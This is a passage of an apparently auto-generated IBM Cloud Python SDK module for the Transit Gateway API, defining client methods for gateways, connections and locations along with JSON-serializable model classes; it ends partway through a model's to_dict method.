3bbf30e2706052e75c0cc847d7ee8a584ba93f11
|
[
"Apache-2.0"
] | null | null | null |
# coding: utf-8
# (C) Copyright IBM Corp. 2020.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
"""
No description provided (generated by Openapi Generator
https://github.com/openapitools/openapi-generator)
"""
from datetime import datetime
from enum import Enum
from typing import Dict, List
import json
from ibm_cloud_sdk_core import BaseService, DetailedResponse
from ibm_cloud_sdk_core.authenticators.authenticator import Authenticator
from ibm_cloud_sdk_core.get_authenticator import get_authenticator_from_environment
from ibm_cloud_sdk_core.utils import convert_model, datetime_to_string, string_to_datetime
from .common import get_sdk_headers
##############################################################################
# Service
##############################################################################
class TransitGatewayApisV1(BaseService):
"""The Transit Gateway Apis V1 service."""
DEFAULT_SERVICE_URL = 'https://transit.cloud.ibm.com/v1'
DEFAULT_SERVICE_NAME = 'transit_gateway_apis'
@classmethod
def new_instance(cls,
version: str,
service_name: str = DEFAULT_SERVICE_NAME,
) -> 'TransitGatewayApisV1':
"""
Return a new client for the Transit Gateway Apis service using the
specified parameters and external configuration.
:param str version: Requests the version of the API as of a date in the
format `YYYY-MM-DD`. Any date up to the current date may be provided.
Specify the current date to request the latest version.
"""
if version is None:
raise ValueError('version must be provided')
authenticator = get_authenticator_from_environment(service_name)
service = cls(
version,
authenticator
)
service.configure_service(service_name)
return service
def __init__(self,
version: str,
authenticator: Authenticator = None,
) -> None:
"""
Construct a new client for the Transit Gateway Apis service.
:param str version: Requests the version of the API as of a date in the
format `YYYY-MM-DD`. Any date up to the current date may be provided.
Specify the current date to request the latest version.
:param Authenticator authenticator: The authenticator specifies the authentication mechanism.
Get up to date information from https://github.com/IBM/python-sdk-core/blob/master/README.md
about initializing the authenticator of your choice.
"""
if version is None:
raise ValueError('version must be provided')
BaseService.__init__(self,
service_url=self.DEFAULT_SERVICE_URL,
authenticator=authenticator)
self.version = version
#########################
# transitGateways
#########################
def list_transit_gateways(self,
**kwargs
) -> DetailedResponse:
"""
Retrieves all Transit Gateways.
List all the Transit Gateways in the account. User will get a list of Transit
Gateways they have access to 'view'.
:param dict headers: A `dict` containing the request headers
:return: A `DetailedResponse` containing the result, headers and HTTP status code.
:rtype: DetailedResponse with `dict` result representing a `TransitGatewayCollection` object
"""
headers = {}
sdk_headers = get_sdk_headers(service_name=self.DEFAULT_SERVICE_NAME,
service_version='V1',
operation_id='list_transit_gateways')
headers.update(sdk_headers)
params = {
'version': self.version
}
if 'headers' in kwargs:
headers.update(kwargs.get('headers'))
url = '/transit_gateways'
request = self.prepare_request(method='GET',
url=url,
headers=headers,
params=params)
response = self.send(request)
return response
def create_transit_gateway(self,
location: str,
name: str,
*,
global_: bool = None,
resource_group: 'ResourceGroupIdentity' = None,
**kwargs
) -> DetailedResponse:
"""
Creates a Transit Gateway.
Create a Transit Gateway based on the supplied input template.
:param str location: Location of Transit Gateway Services.
:param str name: Name Transit Gateway Services.
:param bool global_: (optional) Allow global routing for a Transit Gateway.
If unspecified, the default value is false.
:param ResourceGroupIdentity resource_group: (optional) The resource group
to use. If unspecified, the account's [default resource
group](https://console.bluemix.net/apidocs/resource-manager#introduction)
is used.
:param dict headers: A `dict` containing the request headers
:return: A `DetailedResponse` containing the result, headers and HTTP status code.
:rtype: DetailedResponse with `dict` result representing a `TransitGateway` object
"""
if location is None:
raise ValueError('location must be provided')
if name is None:
raise ValueError('name must be provided')
if resource_group is not None:
resource_group = convert_model(resource_group)
headers = {}
sdk_headers = get_sdk_headers(service_name=self.DEFAULT_SERVICE_NAME,
service_version='V1',
operation_id='create_transit_gateway')
headers.update(sdk_headers)
params = {
'version': self.version
}
data = {
'location': location,
'name': name,
'global': global_,
'resource_group': resource_group
}
data = {k: v for (k, v) in data.items() if v is not None}
data = json.dumps(data)
headers['content-type'] = 'application/json'
if 'headers' in kwargs:
headers.update(kwargs.get('headers'))
url = '/transit_gateways'
request = self.prepare_request(method='POST',
url=url,
headers=headers,
params=params,
data=data)
response = self.send(request)
return response
def delete_transit_gateway(self,
id: str,
**kwargs
) -> DetailedResponse:
"""
Deletes specified Transit Gateway.
This request deletes a Transit Gateway. This operation cannot be reversed. For
this request to succeed, the Transit Gateway must not contain connections.
:param str id: The Transit Gateway identifier.
:param dict headers: A `dict` containing the request headers
:return: A `DetailedResponse` containing the result, headers and HTTP status code.
:rtype: DetailedResponse
"""
if id is None:
raise ValueError('id must be provided')
headers = {}
sdk_headers = get_sdk_headers(service_name=self.DEFAULT_SERVICE_NAME,
service_version='V1',
operation_id='delete_transit_gateway')
headers.update(sdk_headers)
params = {
'version': self.version
}
if 'headers' in kwargs:
headers.update(kwargs.get('headers'))
url = '/transit_gateways/{0}'.format(
*self.encode_path_vars(id))
request = self.prepare_request(method='DELETE',
url=url,
headers=headers,
params=params)
response = self.send(request)
return response
def get_transit_gateway(self,
id: str,
**kwargs
) -> DetailedResponse:
"""
Retrieves specified Transit Gateway.
This request retrieves a single Transit Gateway specified by the identifier in the
URL.
:param str id: The Transit Gateway identifier.
:param dict headers: A `dict` containing the request headers
:return: A `DetailedResponse` containing the result, headers and HTTP status code.
:rtype: DetailedResponse with `dict` result representing a `TransitGateway` object
"""
if id is None:
raise ValueError('id must be provided')
headers = {}
sdk_headers = get_sdk_headers(service_name=self.DEFAULT_SERVICE_NAME,
service_version='V1',
operation_id='get_transit_gateway')
headers.update(sdk_headers)
params = {
'version': self.version
}
if 'headers' in kwargs:
headers.update(kwargs.get('headers'))
url = '/transit_gateways/{0}'.format(
*self.encode_path_vars(id))
request = self.prepare_request(method='GET',
url=url,
headers=headers,
params=params)
response = self.send(request)
return response
def update_transit_gateway(self,
id: str,
*,
global_: bool = None,
name: str = None,
**kwargs
) -> DetailedResponse:
"""
Updates specified Transit Gateway.
This request updates a Transit Gateway's name and/or global flag.
:param str id: The Transit Gateway identifier.
:param bool global_: (optional) Allow global routing for a Transit Gateway.
:param str name: (optional) The user-defined name for this transit gateway.
:param dict headers: A `dict` containing the request headers
:return: A `DetailedResponse` containing the result, headers and HTTP status code.
:rtype: DetailedResponse with `dict` result representing a `TransitGateway` object
"""
if id is None:
raise ValueError('id must be provided')
headers = {}
sdk_headers = get_sdk_headers(service_name=self.DEFAULT_SERVICE_NAME,
service_version='V1',
operation_id='update_transit_gateway')
headers.update(sdk_headers)
params = {
'version': self.version
}
data = {
'global': global_,
'name': name
}
data = {k: v for (k, v) in data.items() if v is not None}
data = json.dumps(data)
headers['content-type'] = 'application/json'
if 'headers' in kwargs:
headers.update(kwargs.get('headers'))
url = '/transit_gateways/{0}'.format(
*self.encode_path_vars(id))
request = self.prepare_request(method='PATCH',
url=url,
headers=headers,
params=params,
data=data)
response = self.send(request)
return response
#########################
# transitGatewaysNetworkConnections
#########################
def list_transit_gateway_connections(self,
transit_gateway_id: str,
**kwargs
) -> DetailedResponse:
"""
Retrieves all connections in a Transit Gateway.
This request retrieves all connections in a Transit Gateway.
:param str transit_gateway_id: The Transit Gateway identifier.
:param dict headers: A `dict` containing the request headers
:return: A `DetailedResponse` containing the result, headers and HTTP status code.
:rtype: DetailedResponse with `dict` result representing a `TransitGatewayConnectionCollection` object
"""
if transit_gateway_id is None:
raise ValueError('transit_gateway_id must be provided')
headers = {}
sdk_headers = get_sdk_headers(service_name=self.DEFAULT_SERVICE_NAME,
service_version='V1',
operation_id='list_transit_gateway_connections')
headers.update(sdk_headers)
params = {
'version': self.version
}
if 'headers' in kwargs:
headers.update(kwargs.get('headers'))
url = '/transit_gateways/{0}/connections'.format(
*self.encode_path_vars(transit_gateway_id))
request = self.prepare_request(method='GET',
url=url,
headers=headers,
params=params)
response = self.send(request)
return response
def create_transit_gateway_connection(self,
transit_gateway_id: str,
network_type: str,
*,
name: str = None,
network_id: str = None,
network_account_id: str = None,
**kwargs
) -> DetailedResponse:
"""
Add connection to a Transit Gateway.
Add a connection to Transit Gateway.
:param str transit_gateway_id: The Transit Gateway identifier.
:param str network_type: Defines what type of network is connected via this
connection.
:param str name: (optional) The user-defined name for this transit gateway.
If unspecified, the name will be the network name (the name of the VPC in
the case of network type 'vpc', and the word Classic, in the case of
network type 'classic').
:param str network_id: (optional) The ID of the network being connected via
this connection. This field is required for some types, such as 'vpc'. For
network type 'vpc' this is the CRN of the VPC to be connected. This field
is required to be unspecified for network type 'classic'.
:param str network_account_id: (optional) The ID of the account which owns
the network that is being connected. Generally only used if the network is
in a different account than the gateway.
:param dict headers: A `dict` containing the request headers
:return: A `DetailedResponse` containing the result, headers and HTTP status code.
:rtype: DetailedResponse with `dict` result representing a `TransitGatewayConnectionCust` object
"""
if transit_gateway_id is None:
raise ValueError('transit_gateway_id must be provided')
if network_type is None:
raise ValueError('network_type must be provided')
headers = {}
sdk_headers = get_sdk_headers(service_name=self.DEFAULT_SERVICE_NAME,
service_version='V1',
operation_id='create_transit_gateway_connection')
headers.update(sdk_headers)
params = {
'version': self.version
}
data = {
'network_type': network_type,
'name': name,
'network_id': network_id,
'network_account_id': network_account_id
}
data = {k: v for (k, v) in data.items() if v is not None}
data = json.dumps(data)
headers['content-type'] = 'application/json'
if 'headers' in kwargs:
headers.update(kwargs.get('headers'))
url = '/transit_gateways/{0}/connections'.format(
*self.encode_path_vars(transit_gateway_id))
request = self.prepare_request(method='POST',
url=url,
headers=headers,
params=params,
data=data)
response = self.send(request)
return response
def delete_transit_gateway_connection(self,
transit_gateway_id: str,
id: str,
**kwargs
) -> DetailedResponse:
"""
Remove connection from Transit Gateway.
After the specified connection is detached, entities still within the Transit
Gateway will no longer be able to communicate directly to it through the IBM Cloud
private backbone.
:param str transit_gateway_id: The Transit Gateway identifier.
:param str id: The connection identifier.
:param dict headers: A `dict` containing the request headers
:return: A `DetailedResponse` containing the result, headers and HTTP status code.
:rtype: DetailedResponse
"""
if transit_gateway_id is None:
raise ValueError('transit_gateway_id must be provided')
if id is None:
raise ValueError('id must be provided')
headers = {}
sdk_headers = get_sdk_headers(service_name=self.DEFAULT_SERVICE_NAME,
service_version='V1',
operation_id='delete_transit_gateway_connection')
headers.update(sdk_headers)
params = {
'version': self.version
}
if 'headers' in kwargs:
headers.update(kwargs.get('headers'))
url = '/transit_gateways/{0}/connections/{1}'.format(
*self.encode_path_vars(transit_gateway_id, id))
request = self.prepare_request(method='DELETE',
url=url,
headers=headers,
params=params)
response = self.send(request)
return response
def get_transit_gateway_connection(self,
transit_gateway_id: str,
id: str,
**kwargs
) -> DetailedResponse:
"""
Retrieves specified Transit Gateway connection.
This request retrieves a connection from the Transit Gateway.
:param str transit_gateway_id: The Transit Gateway identifier.
:param str id: The connection identifier.
:param dict headers: A `dict` containing the request headers
:return: A `DetailedResponse` containing the result, headers and HTTP status code.
:rtype: DetailedResponse with `dict` result representing a `TransitGatewayConnectionCust` object
"""
if transit_gateway_id is None:
raise ValueError('transit_gateway_id must be provided')
if id is None:
raise ValueError('id must be provided')
headers = {}
sdk_headers = get_sdk_headers(service_name=self.DEFAULT_SERVICE_NAME,
service_version='V1',
operation_id='get_transit_gateway_connection')
headers.update(sdk_headers)
params = {
'version': self.version
}
if 'headers' in kwargs:
headers.update(kwargs.get('headers'))
url = '/transit_gateways/{0}/connections/{1}'.format(
*self.encode_path_vars(transit_gateway_id, id))
request = self.prepare_request(method='GET',
url=url,
headers=headers,
params=params)
response = self.send(request)
return response
def update_transit_gateway_connection(self,
transit_gateway_id: str,
id: str,
*,
name: str = None,
**kwargs
) -> DetailedResponse:
"""
Updates specified Transit Gateway connection.
Update the name of a connection to a Transit Gateway.
:param str transit_gateway_id: The Transit Gateway identifier.
:param str id: The connection identifier.
:param str name: (optional) The user-defined name for this transit gateway.
If specified as empty string or nil, the name will be the network name
(the name of the VPC in the case of network type 'vpc', and the word
Classic, in the case of network type 'classic').
:param dict headers: A `dict` containing the request headers
:return: A `DetailedResponse` containing the result, headers and HTTP status code.
:rtype: DetailedResponse with `dict` result representing a `TransitGatewayConnectionCust` object
"""
if transit_gateway_id is None:
raise ValueError('transit_gateway_id must be provided')
if id is None:
raise ValueError('id must be provided')
headers = {}
sdk_headers = get_sdk_headers(service_name=self.DEFAULT_SERVICE_NAME,
service_version='V1',
operation_id='update_transit_gateway_connection')
headers.update(sdk_headers)
params = {
'version': self.version
}
data = {
'name': name
}
data = {k: v for (k, v) in data.items() if v is not None}
data = json.dumps(data)
headers['content-type'] = 'application/json'
if 'headers' in kwargs:
headers.update(kwargs.get('headers'))
url = '/transit_gateways/{0}/connections/{1}'.format(
*self.encode_path_vars(transit_gateway_id, id))
request = self.prepare_request(method='PATCH',
url=url,
headers=headers,
params=params,
data=data)
response = self.send(request)
return response
def create_transit_gateway_connection_actions(self,
transit_gateway_id: str,
id: str,
action: str,
**kwargs
) -> DetailedResponse:
"""
Perform actions on a connection for a Transit Gateway.
Allow a network owner to approve or reject a cross-account connection request.
:param str transit_gateway_id: The Transit Gateway identifier.
:param str id: The connection identifier.
:param str action: The action that is to be performed against the
connection request.
:param dict headers: A `dict` containing the request headers
:return: A `DetailedResponse` containing the result, headers and HTTP status code.
:rtype: DetailedResponse
"""
if transit_gateway_id is None:
raise ValueError('transit_gateway_id must be provided')
if id is None:
raise ValueError('id must be provided')
if action is None:
raise ValueError('action must be provided')
headers = {}
sdk_headers = get_sdk_headers(service_name=self.DEFAULT_SERVICE_NAME,
service_version='V1',
operation_id='create_transit_gateway_connection_actions')
headers.update(sdk_headers)
params = {
'version': self.version
}
data = {
'action': action
}
data = {k: v for (k, v) in data.items() if v is not None}
data = json.dumps(data)
headers['content-type'] = 'application/json'
if 'headers' in kwargs:
headers.update(kwargs.get('headers'))
url = '/transit_gateways/{0}/connections/{1}/actions'.format(
*self.encode_path_vars(transit_gateway_id, id))
request = self.prepare_request(method='POST',
url=url,
headers=headers,
params=params,
data=data)
response = self.send(request)
return response
#########################
# transitLocation
#########################
def list_gateway_locations(self,
**kwargs
) -> DetailedResponse:
"""
List all locations that support Transit Gateways.
List all locations that support Transit Gateways.
:param dict headers: A `dict` containing the request headers
:return: A `DetailedResponse` containing the result, headers and HTTP status code.
:rtype: DetailedResponse with `dict` result representing a `TSCollection` object
"""
headers = {}
sdk_headers = get_sdk_headers(service_name=self.DEFAULT_SERVICE_NAME,
service_version='V1',
operation_id='list_gateway_locations')
headers.update(sdk_headers)
params = {
'version': self.version
}
if 'headers' in kwargs:
headers.update(kwargs.get('headers'))
url = '/locations'
request = self.prepare_request(method='GET',
url=url,
headers=headers,
params=params)
response = self.send(request)
return response
def get_gateway_location(self,
name: str,
**kwargs
) -> DetailedResponse:
"""
Show the details of a given Transit Gateway location.
Get the details of a Transit Gateway Location.
:param str name: The Transit Gateway location Name.
:param dict headers: A `dict` containing the request headers
:return: A `DetailedResponse` containing the result, headers and HTTP status code.
:rtype: DetailedResponse with `dict` result representing a `TSLocation` object
"""
if name is None:
raise ValueError('name must be provided')
headers = {}
sdk_headers = get_sdk_headers(service_name=self.DEFAULT_SERVICE_NAME,
service_version='V1',
operation_id='get_gateway_location')
headers.update(sdk_headers)
params = {
'version': self.version
}
if 'headers' in kwargs:
headers.update(kwargs.get('headers'))
url = '/locations/{0}'.format(
*self.encode_path_vars(name))
request = self.prepare_request(method='GET',
url=url,
headers=headers,
params=params)
response = self.send(request)
return response
##############################################################################
# Models
##############################################################################
class ResourceGroupIdentity():
"""
The resource group to use. If unspecified, the account's [default resource
group](https://console.bluemix.net/apidocs/resource-manager#introduction) is used.
:attr str id: The unique identifier for this resource group.
"""
def __init__(self,
id: str) -> None:
"""
Initialize a ResourceGroupIdentity object.
:param str id: The unique identifier for this resource group.
"""
self.id = id
@classmethod
def from_dict(cls, _dict: Dict) -> 'ResourceGroupIdentity':
"""Initialize a ResourceGroupIdentity object from a json dictionary."""
args = {}
if 'id' in _dict:
args['id'] = _dict.get('id')
else:
raise ValueError('Required property \'id\' not present in ResourceGroupIdentity JSON')
return cls(**args)
@classmethod
def _from_dict(cls, _dict):
"""Initialize a ResourceGroupIdentity object from a json dictionary."""
return cls.from_dict(_dict)
def to_dict(self) -> Dict:
"""Return a json dictionary representing this model."""
_dict = {}
if hasattr(self, 'id') and self.id is not None:
_dict['id'] = self.id
return _dict
def _to_dict(self):
"""Return a json dictionary representing this model."""
return self.to_dict()
def __str__(self) -> str:
"""Return a `str` version of this ResourceGroupIdentity object."""
return json.dumps(self.to_dict(), indent=2)
def __eq__(self, other: 'ResourceGroupIdentity') -> bool:
"""Return `true` when self and other are equal, false otherwise."""
if not isinstance(other, self.__class__):
return False
return self.__dict__ == other.__dict__
def __ne__(self, other: 'ResourceGroupIdentity') -> bool:
"""Return `true` when self and other are not equal, false otherwise."""
return not self == other
class ResourceGroupReference():
"""
The resource group to use. If unspecified, the account's [default resource
group](https://console.bluemix.net/apidocs/resource-manager#introduction) is used.
:attr str id: The unique identifier for this resource group.
:attr str href: The URL for this resource group.
"""
def __init__(self,
id: str,
href: str) -> None:
"""
Initialize a ResourceGroupReference object.
:param str id: The unique identifier for this resource group.
:param str href: The URL for this resource group.
"""
self.id = id
self.href = href
@classmethod
def from_dict(cls, _dict: Dict) -> 'ResourceGroupReference':
"""Initialize a ResourceGroupReference object from a json dictionary."""
args = {}
if 'id' in _dict:
args['id'] = _dict.get('id')
else:
raise ValueError('Required property \'id\' not present in ResourceGroupReference JSON')
if 'href' in _dict:
args['href'] = _dict.get('href')
else:
raise ValueError('Required property \'href\' not present in ResourceGroupReference JSON')
return cls(**args)
@classmethod
def _from_dict(cls, _dict):
"""Initialize a ResourceGroupReference object from a json dictionary."""
return cls.from_dict(_dict)
def to_dict(self) -> Dict:
"""Return a json dictionary representing this model."""
_dict = {}
if hasattr(self, 'id') and self.id is not None:
_dict['id'] = self.id
if hasattr(self, 'href') and self.href is not None:
_dict['href'] = self.href
return _dict
def _to_dict(self):
"""Return a json dictionary representing this model."""
return self.to_dict()
def __str__(self) -> str:
"""Return a `str` version of this ResourceGroupReference object."""
return json.dumps(self.to_dict(), indent=2)
def __eq__(self, other: 'ResourceGroupReference') -> bool:
"""Return `true` when self and other are equal, false otherwise."""
if not isinstance(other, self.__class__):
return False
return self.__dict__ == other.__dict__
def __ne__(self, other: 'ResourceGroupReference') -> bool:
"""Return `true` when self and other are not equal, false otherwise."""
return not self == other
class TSCollection():
"""
A list of Transit Gateway locations.
:attr List[TSLocationBasic] locations: Collection of Transit Gateway locations.
"""
def __init__(self,
locations: List['TSLocationBasic']) -> None:
"""
Initialize a TSCollection object.
:param List[TSLocationBasic] locations: Collection of Transit Gateway
locations.
"""
self.locations = locations
@classmethod
def from_dict(cls, _dict: Dict) -> 'TSCollection':
"""Initialize a TSCollection object from a json dictionary."""
args = {}
if 'locations' in _dict:
args['locations'] = [TSLocationBasic.from_dict(x) for x in _dict.get('locations')]
else:
raise ValueError('Required property \'locations\' not present in TSCollection JSON')
return cls(**args)
@classmethod
def _from_dict(cls, _dict):
"""Initialize a TSCollection object from a json dictionary."""
return cls.from_dict(_dict)
def to_dict(self) -> Dict:
"""Return a json dictionary representing this model."""
_dict = {}
if hasattr(self, 'locations') and self.locations is not None:
_dict['locations'] = [x.to_dict() for x in self.locations]
return _dict
def _to_dict(self):
"""Return a json dictionary representing this model."""
return self.to_dict()
def __str__(self) -> str:
"""Return a `str` version of this TSCollection object."""
return json.dumps(self.to_dict(), indent=2)
def __eq__(self, other: 'TSCollection') -> bool:
"""Return `true` when self and other are equal, false otherwise."""
if not isinstance(other, self.__class__):
return False
return self.__dict__ == other.__dict__
def __ne__(self, other: 'TSCollection') -> bool:
"""Return `true` when self and other are not equal, false otherwise."""
return not self == other
class TSLocalLocation():
"""
Details of a local connection location.
:attr str display_name: A descriptive display name for the location.
:attr str name: The name of the location.
:attr str type: The type of the location, determining is this a multi-zone
region, a single data center, or a point of presence.
"""
def __init__(self,
display_name: str,
name: str,
type: str) -> None:
"""
Initialize a TSLocalLocation object.
:param str display_name: A descriptive display name for the location.
:param str name: The name of the location.
:param str type: The type of the location, determining is this a multi-zone
region, a single data center, or a point of presence.
"""
self.display_name = display_name
self.name = name
self.type = type
@classmethod
def from_dict(cls, _dict: Dict) -> 'TSLocalLocation':
"""Initialize a TSLocalLocation object from a json dictionary."""
args = {}
if 'display_name' in _dict:
args['display_name'] = _dict.get('display_name')
else:
raise ValueError('Required property \'display_name\' not present in TSLocalLocation JSON')
if 'name' in _dict:
args['name'] = _dict.get('name')
else:
raise ValueError('Required property \'name\' not present in TSLocalLocation JSON')
if 'type' in _dict:
args['type'] = _dict.get('type')
else:
raise ValueError('Required property \'type\' not present in TSLocalLocation JSON')
return cls(**args)
@classmethod
def _from_dict(cls, _dict):
"""Initialize a TSLocalLocation object from a json dictionary."""
return cls.from_dict(_dict)
def to_dict(self) -> Dict:
"""Return a json dictionary representing this model."""
_dict = {}
if hasattr(self, 'display_name') and self.display_name is not None:
_dict['display_name'] = self.display_name
if hasattr(self, 'name') and self.name is not None:
_dict['name'] = self.name
if hasattr(self, 'type') and self.type is not None:
_dict['type'] = self.type
return _dict
def _to_dict(self):
"""Return a json dictionary representing this model."""
return self.to_dict()
def __str__(self) -> str:
"""Return a `str` version of this TSLocalLocation object."""
return json.dumps(self.to_dict(), indent=2)
def __eq__(self, other: 'TSLocalLocation') -> bool:
"""Return `true` when self and other are equal, false otherwise."""
if not isinstance(other, self.__class__):
return False
return self.__dict__ == other.__dict__
def __ne__(self, other: 'TSLocalLocation') -> bool:
"""Return `true` when self and other are not equal, false otherwise."""
return not self == other
class TypeEnum(str, Enum):
"""
The type of the location, determining is this a multi-zone region, a single data
center, or a point of presence.
"""
REGION = 'region'
class TSLocation():
"""
Details of a Transit Gateway location.
:attr str billing_location: The geographical location of this location, used for
billing purposes.
:attr str name: Name of the Location.
:attr str type: The type of the location, determining is this a multi-zone
region, a single data center, or a point of presence.
:attr List[TSLocalLocation] local_connection_locations: The set of network
locations that are considered local for this Transit Gateway location.
"""
def __init__(self,
billing_location: str,
name: str,
type: str,
local_connection_locations: List['TSLocalLocation']) -> None:
"""
Initialize a TSLocation object.
:param str billing_location: The geographical location of this location,
used for billing purposes.
:param str name: Name of the Location.
:param str type: The type of the location, determining is this a multi-zone
region, a single data center, or a point of presence.
:param List[TSLocalLocation] local_connection_locations: The set of network
locations that are considered local for this Transit Gateway location.
"""
self.billing_location = billing_location
self.name = name
self.type = type
self.local_connection_locations = local_connection_locations
@classmethod
def from_dict(cls, _dict: Dict) -> 'TSLocation':
"""Initialize a TSLocation object from a json dictionary."""
args = {}
if 'billing_location' in _dict:
args['billing_location'] = _dict.get('billing_location')
else:
raise ValueError('Required property \'billing_location\' not present in TSLocation JSON')
if 'name' in _dict:
args['name'] = _dict.get('name')
else:
raise ValueError('Required property \'name\' not present in TSLocation JSON')
if 'type' in _dict:
args['type'] = _dict.get('type')
else:
raise ValueError('Required property \'type\' not present in TSLocation JSON')
if 'local_connection_locations' in _dict:
args['local_connection_locations'] = [TSLocalLocation.from_dict(x) for x in _dict.get('local_connection_locations')]
else:
raise ValueError('Required property \'local_connection_locations\' not present in TSLocation JSON')
return cls(**args)
@classmethod
def _from_dict(cls, _dict):
"""Initialize a TSLocation object from a json dictionary."""
return cls.from_dict(_dict)
def to_dict(self) -> Dict:
"""Return a json dictionary representing this model."""
_dict = {}
if hasattr(self, 'billing_location') and self.billing_location is not None:
_dict['billing_location'] = self.billing_location
if hasattr(self, 'name') and self.name is not None:
_dict['name'] = self.name
if hasattr(self, 'type') and self.type is not None:
_dict['type'] = self.type
if hasattr(self, 'local_connection_locations') and self.local_connection_locations is not None:
_dict['local_connection_locations'] = [x.to_dict() for x in self.local_connection_locations]
return _dict
def _to_dict(self):
"""Return a json dictionary representing this model."""
return self.to_dict()
def __str__(self) -> str:
"""Return a `str` version of this TSLocation object."""
return json.dumps(self.to_dict(), indent=2)
def __eq__(self, other: 'TSLocation') -> bool:
"""Return `true` when self and other are equal, false otherwise."""
if not isinstance(other, self.__class__):
return False
return self.__dict__ == other.__dict__
def __ne__(self, other: 'TSLocation') -> bool:
"""Return `true` when self and other are not equal, false otherwise."""
return not self == other
class TSLocationBasic():
"""
Details of a Transit Gateway location.
:attr str billing_location: The geographical location of this location, used for
billing purposes.
:attr str name: Name of the Location.
:attr str type: The type of the location, determining is this a multi-zone
region, a single data center, or a point of presence.
"""
def __init__(self,
billing_location: str,
name: str,
type: str) -> None:
"""
Initialize a TSLocationBasic object.
:param str billing_location: The geographical location of this location,
used for billing purposes.
:param str name: Name of the Location.
:param str type: The type of the location, determining is this a multi-zone
region, a single data center, or a point of presence.
"""
self.billing_location = billing_location
self.name = name
self.type = type
@classmethod
def from_dict(cls, _dict: Dict) -> 'TSLocationBasic':
"""Initialize a TSLocationBasic object from a json dictionary."""
args = {}
if 'billing_location' in _dict:
args['billing_location'] = _dict.get('billing_location')
else:
raise ValueError('Required property \'billing_location\' not present in TSLocationBasic JSON')
if 'name' in _dict:
args['name'] = _dict.get('name')
else:
raise ValueError('Required property \'name\' not present in TSLocationBasic JSON')
if 'type' in _dict:
args['type'] = _dict.get('type')
else:
raise ValueError('Required property \'type\' not present in TSLocationBasic JSON')
return cls(**args)
@classmethod
def _from_dict(cls, _dict):
"""Initialize a TSLocationBasic object from a json dictionary."""
return cls.from_dict(_dict)
def to_dict(self) -> Dict:
"""Return a json dictionary representing this model."""
_dict = {}
if hasattr(self, 'billing_location') and self.billing_location is not None:
_dict['billing_location'] = self.billing_location
if hasattr(self, 'name') and self.name is not None:
_dict['name'] = self.name
if hasattr(self, 'type') and self.type is not None:
_dict['type'] = self.type
return _dict
def _to_dict(self):
"""Return a json dictionary representing this model."""
return self.to_dict()
def __str__(self) -> str:
"""Return a `str` version of this TSLocationBasic object."""
return json.dumps(self.to_dict(), indent=2)
def __eq__(self, other: 'TSLocationBasic') -> bool:
"""Return `true` when self and other are equal, false otherwise."""
if not isinstance(other, self.__class__):
return False
return self.__dict__ == other.__dict__
def __ne__(self, other: 'TSLocationBasic') -> bool:
"""Return `true` when self and other are not equal, false otherwise."""
return not self == other
class TransitGateway():
"""
Details of a Transit Gateway.
:attr str id: The unique identifier for this Transit Gateway.
:attr str crn: The CRN for this Transit Gateway.
:attr str name: A human readable name for the transit gateway.
:attr str location: Location of Transit Gateway Services.
:attr datetime created_at: The date and time that this gateway was created.
:attr bool global_: Allow global routing for a Transit Gateway.
:attr ResourceGroupReference resource_group: (optional) The resource group to
use. If unspecified, the account's [default resource
group](https://console.bluemix.net/apidocs/resource-manager#introduction) is
used.
:attr str status: The status of the Transit Gateway.
:attr datetime updated_at: (optional) The date and time that this gateway was
last updated.
"""
def __init__(self,
id: str,
crn: str,
name: str,
location: str,
created_at: datetime,
global_: bool,
status: str,
*,
resource_group: 'ResourceGroupReference' = None,
updated_at: datetime = None) -> None:
"""
Initialize a TransitGateway object.
:param str id: The unique identifier for this Transit Gateway.
:param str crn: The CRN for this Transit Gateway.
:param str name: A human readable name for the transit gateway.
:param str location: Location of Transit Gateway Services.
:param datetime created_at: The date and time that this gateway was
created.
:param bool global_: Allow global routing for a Transit Gateway.
:param str status: The status of the Transit Gateway.
:param ResourceGroupReference resource_group: (optional) The resource group
to use. If unspecified, the account's [default resource
group](https://console.bluemix.net/apidocs/resource-manager#introduction)
is used.
:param datetime updated_at: (optional) The date and time that this gateway
was last updated.
"""
self.id = id
self.crn = crn
self.name = name
self.location = location
self.created_at = created_at
self.global_ = global_
self.resource_group = resource_group
self.status = status
self.updated_at = updated_at
@classmethod
def from_dict(cls, _dict: Dict) -> 'TransitGateway':
"""Initialize a TransitGateway object from a json dictionary."""
args = {}
if 'id' in _dict:
args['id'] = _dict.get('id')
else:
raise ValueError('Required property \'id\' not present in TransitGateway JSON')
if 'crn' in _dict:
args['crn'] = _dict.get('crn')
else:
raise ValueError('Required property \'crn\' not present in TransitGateway JSON')
if 'name' in _dict:
args['name'] = _dict.get('name')
else:
raise ValueError('Required property \'name\' not present in TransitGateway JSON')
if 'location' in _dict:
args['location'] = _dict.get('location')
else:
raise ValueError('Required property \'location\' not present in TransitGateway JSON')
if 'created_at' in _dict:
args['created_at'] = string_to_datetime(_dict.get('created_at'))
else:
raise ValueError('Required property \'created_at\' not present in TransitGateway JSON')
if 'global' in _dict:
args['global_'] = _dict.get('global')
else:
raise ValueError('Required property \'global\' not present in TransitGateway JSON')
if 'resource_group' in _dict:
args['resource_group'] = ResourceGroupReference.from_dict(_dict.get('resource_group'))
if 'status' in _dict:
args['status'] = _dict.get('status')
else:
raise ValueError('Required property \'status\' not present in TransitGateway JSON')
if 'updated_at' in _dict:
args['updated_at'] = string_to_datetime(_dict.get('updated_at'))
return cls(**args)
@classmethod
def _from_dict(cls, _dict):
"""Initialize a TransitGateway object from a json dictionary."""
return cls.from_dict(_dict)
def to_dict(self) -> Dict:
"""Return a json dictionary representing this model."""
_dict = {}
if hasattr(self, 'id') and self.id is not None:
_dict['id'] = self.id
if hasattr(self, 'crn') and self.crn is not None:
_dict['crn'] = self.crn
if hasattr(self, 'name') and self.name is not None:
_dict['name'] = self.name
if hasattr(self, 'location') and self.location is not None:
_dict['location'] = self.location
if hasattr(self, 'created_at') and self.created_at is not None:
_dict['created_at'] = datetime_to_string(self.created_at)
if hasattr(self, 'global_') and self.global_ is not None:
_dict['global'] = self.global_
if hasattr(self, 'resource_group') and self.resource_group is not None:
_dict['resource_group'] = self.resource_group.to_dict()
if hasattr(self, 'status') and self.status is not None:
